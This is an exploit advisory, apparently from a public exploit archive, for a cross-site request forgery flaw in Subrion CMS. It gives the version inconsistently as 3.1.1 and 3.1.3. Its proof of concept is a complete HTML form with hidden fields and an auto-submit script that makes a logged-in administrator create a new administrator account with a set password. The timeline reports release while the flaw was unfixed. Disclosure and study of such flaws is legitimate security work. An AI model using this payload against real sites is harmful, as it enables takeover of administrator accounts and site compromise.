[+] Author: TUNISIAN CYBER
[+] Exploit Title: Subrion v3.1.1 Cross-Site Request Forgery (CSRF) Vulnerability
[+] Date: 22-02-2014
[+] Category: WebApp
[+] Tested on: KaliLinux/Windows 7 Pro
[+] Vendor: http://www.subrion.com/product.html
[+] Friendly Sites: na3il.com,th3-creative.com
1.OVERVIEW:
Subrion suffers from a Cross-Site Request Forgery (CSRF) Vulnerability.
2.Version:
v3.1.3
3.Background:
Subrion CMS is a stand-alone PHP content management system that is very easy to use.
It comes with a ton of great features including full source editing,
per-page permissions, user activity monitoring, and much more.
Subrion CMS unites the functionality of articles script,
auto classifieds script, realty classifieds script, web directory script, and yellow pages script all in one package.
http://www.subrion.com/product.html
4.Proof Of Concept:
<html>
<head>
</head>
<body><center><br/>
<form method="post" action="http://127.0.0.1/subrion/admin/members/add/" onsubmit="forge()">
<input type="hidden" name="username" value="admin2" />
<input type="hidden" name="fullname" value="TUNISIAN CYBER" />
<input type="hidden" name="email" value="g4k@hotmail.es" />
<input type="hidden" name="_password" value="checkmate" />
<input type="hidden" name="_password2" value="checkmate" />
<input type="hidden" name="usergroup" value="1" />
<input type="hidden" name="avatar" value="" />
<input type="hidden" name="sponsored" value="0" />
<input type="hidden" name="plan_id" value="1" />
<input type="hidden" name="sponsored_end" value="" />
<input type="hidden" name="status" value="active" />
<input type="hidden" name="save" value="Add" />
<input type="hidden" name="goto" value="list" />
<input type="hidden" name="old_name" value="ZSL" />
<input type="hidden" name="id" value="" />
<input type="submit" id="csrf" value="click Me!" />
</form></center>
<script type="text/javascript">
function forge(){document.getElementById("csrf").click();}
</script>
</body>
</html>
5.Solution(s):
NOT FIXED
6.TIME-LINE:
2014-02-20: Vulnerability was discovered.
2014-02-21: No Reply
2014-02-22: No Reply
2014-02-22: Vulnerability released
7.Greetings:
Xmax-tn
Xtech-set
N43il
Sec4ver,E4A Members
